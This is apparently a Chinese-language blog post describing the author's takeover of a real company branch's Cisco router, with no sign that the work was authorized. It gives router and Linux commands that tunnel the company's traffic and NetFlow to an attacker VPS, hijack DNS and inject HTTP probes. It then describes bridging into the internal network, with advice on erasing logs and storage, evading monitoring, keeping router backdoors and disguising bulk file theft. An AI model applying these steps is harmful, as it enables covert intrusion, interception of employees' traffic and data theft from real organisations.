去年開始利用路由器對目標內網進行滲透的方式方法開始研究,測試了一陣了。看到烏云之前有一篇翻譯外國人的文章,講路由器流量劫持的,利用條件苛刻,成效也不大。所以決定寫一篇自己實測的例子。
0x01 控制路由器
現在只搞cisco的路由器,但是方法不限于cisco,華為,juniper什么的都可以。
這一步沒有什么好的辦法,我們利用分布式掃描抓到了一些路由器,再加上其他的漏洞,有了一定數量作為測試保證。
選擇一臺 cisco c800系列的小企業路由器(很老了)
圖1 router version
進去之后,先查看日志,登陸認證相關信息。
圖 2 router 登陸等相關信息
有一個登陸限制的acl,被我之前刪掉了,這就找到了telnet的密碼。同時沒有開啟aaa認證,也就不存在什么認證服務器什么的,就只有本地驗證。沒有任何日志服務器的配置,連snmp都沒有配置(本來還想留一個snmp的后門,看來是不行了)。
趕緊添加賬號密碼,加固路由器,修復漏洞。
圖3 添加特權賬戶
0x02 網絡拓撲分析
基本操作完,趕緊保留一份完整的配置(這個不能完整的貼出來)然后分析基本網絡架構。
總述就是這是一個公司的小分部,通過pppoe加nat上網,有一個公網ip地址,有一個10.xx.xx.0/24的內網地址,通過gre的隧道,和主公司相連,擁有更為龐大的內網。
這種網絡形式是最為常見的,通過ISP撥號獲取公網地址,然后內網機器通過nat上網。全公網ip地址的公司網絡極為少見。
網絡拓撲如下
圖4 網絡拓撲示意圖
0x03 準備進入內網
內網機器通過NAT訪問Google,同時內網受到NAT的保護。我們控制了R1這臺路由器,處于內網出口;還有一臺公網VPS,ubuntu12.04 。R2表示很多臺路由器,沒有控制權限。
由于想要進行內網滲透測試,需要獲取更多的信息。我們另外添加一臺公網VPS(win2008R)在上面架設流量監視服務器,分析內網日常流量和行為。
win2008搭建的是netflow服務器,在R1上配置netflow,來觀測內網流量信息。netflow軟件網上有好多,solarwind最好,支持sqlserver2005,能存儲大量的數據,沒找到破解版。我用的ManageEngine,到處都是破解版。
netflow配置:
ip flow-export so int e 0
ip flow-ex dst 1.1.1.1 8888
ip flow-ex ver 5
……
流量分析比較直觀,公司日常工作流量都是通過GRE Tunnel到達主網絡,日常流量以http和https為主,而且通過流量統計可以看出來,他們的dns絕大多數都是Google public dns,占了所有dns流量的90%以上。
圖6 目標網絡流量總覽圖
圖7 流量分類示意圖
統計出來的web流量,嘗試去打開這些網頁,我都打不開,都是提示404 Not Found或者就是證書錯誤。這樣看不見到底訪問的是什么網站,Google也都沒有搜索記錄,就只能勉強看一下bing的同站,結果記錄還是特別少。
為了摸清這個內網更為詳細的信息(公司叫什么名字,員工經常登陸什么網站,常用軟件是什么),就只能先劫持一下DNS了。由于網絡環境比較惡略,有個NAT使得網絡復雜太多。所以不選擇使用透明劫持方式,選擇用網關劫持方式。
做一下名詞解釋:
透明劫持方式:自定義名詞,即不修改數據包的源IP地址和目的IP地址,只對數據包的data和checksum進行修改。這樣基本不會讓用戶和服務器引起任何察覺,做到完全透明,同時無法被殺軟防火墻IPS之類的發覺,除了增加一些延遲。
網關劫持方式:顧名思義,就是作為一個網關,對經過我的流量進行路由和NAT,使得流量能夠正常在Internet上傳輸。會產生較大的影響,以Gmail為例,會提示異地登陸等。
關于劫持有一條準側(我總結的):在有防火墻或者NAT的環境中劫持流量,你在哪把數據包接走,必須得把數據包(被劫持的數據包或者該數據包的回包)送回到那里。
這里做一下解釋,在NAT上網的環境中做GRE通道的流量劫持,會很麻煩。出方向數據包通過路徑為先進入GRE Tunnel,然后作為一個GRE 數據包通過NAT,也就是NAT只對GRE數據包生效,并且記錄下狀態,不會對被包含在GRE 中的數據包進行NAT,所以入方向,無法通過NAT。 這樣的解釋適用于防火墻。
因為編程能力有限等考慮,決定使用網關劫持模式。
在R1的連接公網的端口和我的Linux eth0 建立GRE Tunnel
Linux IP 地址:1.1.1.1
路由器公網IP地址:2.2.2.2
R1的配置
en
conf t
int tunnel 1
tunnel so e0(接口名稱,也可以使用接口IP地址,但是會出問題)
tunnel dest 1.1.1.1
ip add 12.1.1.1 255.255.255.252
end
linux Ubuntu 配置: 建立GRE Tunnel
#modprobe ip_gre
#lsmode | grep
#ip tunnel add gre1 mode gre remote 2.2.2.2 local 1.1.1.1 ttl 255
#ip link set gre1 up
#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1
在Tunnel的兩端都PING一下對端的IP地址,應該都是通的。
然后開啟路由轉發
將 /proc/sys/net/ip_forward 的數值修改為 1 (本次有效,重啟后失效)
修改 /etc/sysctl.conf 文件,讓包轉發在系統啟動時生效
net.ipv4.ip_forward = 1 前面的#號去掉
開啟Iptables 的NAT
#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58
192的地址為需要做NAT的地址,202地址為已有公網IP地址,配置單詞生效,重啟后失效。
保存iptables 的規則 。
#service iptables save
添加內網路由
route add -net 10.0.0.0/8 gre1
通往10.0.0.0這個八位的網絡全部走gre1這個出口,即全部走GRE隧道。
然后利用我們自己開發的軟件獲取DNS數據內容 ,內容不方便貼出。
劫持了幾天dns,看他們上了幾天網之后,對內網有了個更為清楚的認識。進一步對HTTP數據包進行修改,加了個探針。探明之后再準備加入EXP獲取內網權限,結果都是chrome,就放棄了。探針信息不方便貼出。
流量中還有telnet,ssh這類的流量,但是不能劫持,目的地址做了acl的限制,我的Linux不能訪問,直接refuse。
0x04 進入內網
流量不能幫我獲取內網權限,就只能自己進入內網。
強制劫持一個內網沒有人用的合法IP地址,通過連接linux openVPN分配給自己,剩下只要在路由器添加這個地址的主機路由和在Linux上添加到10.xx.xx.xx/8 的默認路由,然后我的WorkStation就獲得了內網訪問權限(沒有像VPN什么的限制,訪問權限等同于路由器權限)。
如何讓自己的WorkStation進入內網就是很隨意的了,方法實在是太多,因為此時這臺Ubuntu已經在內網中。openVPN配置和添加路由配置就不貼出了,網上太多。
圖8 驗證Ubuntu于內網的連通性
這樣的內網滲透是有以下幾個優點:
你所有的流量會被內網流量設備認為是內網流量,流量稍微大一點的內網,你可以隨意下載文件,不用再關心流量過大引起報警。(理論,沒脫過文件)
在路由器上做好隱藏,規避netflow監測,去掉日志,在臨走的時候直接erease所有的存儲器,你的行為在內網不可查。(理論,沒做過)
如果地址劫持的合適,能繞過內網服務器的登陸限制(三層限制)。
時間把握的好,可以制造內網某員工從文件服務器大量下載文件的假象。(理論,沒做過)
缺點
就一個,數據包不加密,這點很煩人,數據包基本全透明。要是路由器外沒有安全設備了或者直接做一個IPSec Tunnel,就等同于沒缺點。
總結,就是擁有極高的隱蔽性,遠高于VPN,馬什么的。連日志服務器都可以不怎么理他。
本文標題為邁入內網,并非內網滲透,不做內網滲透相關研究。
所有的敏感的信息已經修改涂掉。
0x05 后話
其他的一些小討論
關于鏈路延遲,研究比較多,需要多說一點。以我劫持的Google為例,我在Google與內網路徑的附近,并且是靠近Google的一端。
到Google的延遲平均為0.617ms
圖9 Ubuntu 到Google延遲
路由器到Linux的延遲平均為256ms,路由器直接ping Google 平均延遲時180ms
圖10 路由器網絡延遲截圖
Linux處理劫持數據,修改數據包的軟件延遲約為5ms,所以預估劫持之后的延遲應該在260ms左右。
但是,經過劫持之后,到目標的延遲為248,該數值小于256ms+0.6ms+5ms,至于為什么,無法解釋。
總體延遲影響,增加了180ms的三分之一,60ms左右。
之前我們對延遲有過較多的討論:增加了延遲的三分之一,影響會比較明顯,容易被察覺從而引發報警。我個人認為,大家上百度比平時延遲增加了500ms,或是1s,就算是baidu的運維,在檢查完IP地址,看完tracert之后,也就罵罵運營商。更何況一般網絡用戶不會認為是運營商的問題,只會認為是不是自己電腦卡了,可能有人懷疑自己被網絡劫持了么。
關于內網路由器的討論,本文研究的路由器為網絡邊界路由器,至少有一個公網IP地址。當路由器或者三層交換處于內網中,劫持能否使用,答案是可以的。通過建立七層應用層隧道(GRE為三層網絡層隧道),就像我們個人電腦一樣,穿過內網。或者直接同內網的一臺服務器建立連接,劫持數據(經過驗證,但是公網測試時,對端是一臺公網CISCO路由器2911,沒試過服務器,開發能力有限)。
如果需要穿透內網,需要應用層VPN,例如IPSec VPN,EZ VPN (我測試了這倆,其他的高于三層的VPN都理論可行)等,配置比GRE Tunnel復雜的多,但懂了原理配置還是很簡單的。配置實在是貼不完。IP Sec VPN理論上應該可以向IP Sec VPN 服務器建立連接,我沒成功,還在理論層面研究。EZ VPN ,CISCO專有,肯定不能在WIN或者linux上搭建服務器。
關于駐留,通過路由器擴展內網駐留或者路由器后門駐留,比馬什么的好太多了,除了NSA和fireeye,沒聽說過誰接觸過過路由器后門的。國內絕對是通殺,會配置路由器的都沒幾個人,更別說反查。
關于HTTPS的討論:綠標這個問題確實比較頭疼,我目前嘗試能過的就是嵌套,在綠標中插入紅標,最后用戶看到的還是綠標。
關于流量劫持軟件,網上都說劫持軟件多如牛毛,但是實際上找下來,就沒有一個可以拿來直接用的,尤其是在透明劫持這個模式下,沒發現能直接用的,像什么MITMproxy什么什么的,大家都說好,實際測試一下,也就適合開發人員調試軟件,所以只能自己開發,但是開發能力有限。
希望大家推薦一些,能效率很高的處理大流量(例如BGP劫持)的軟件。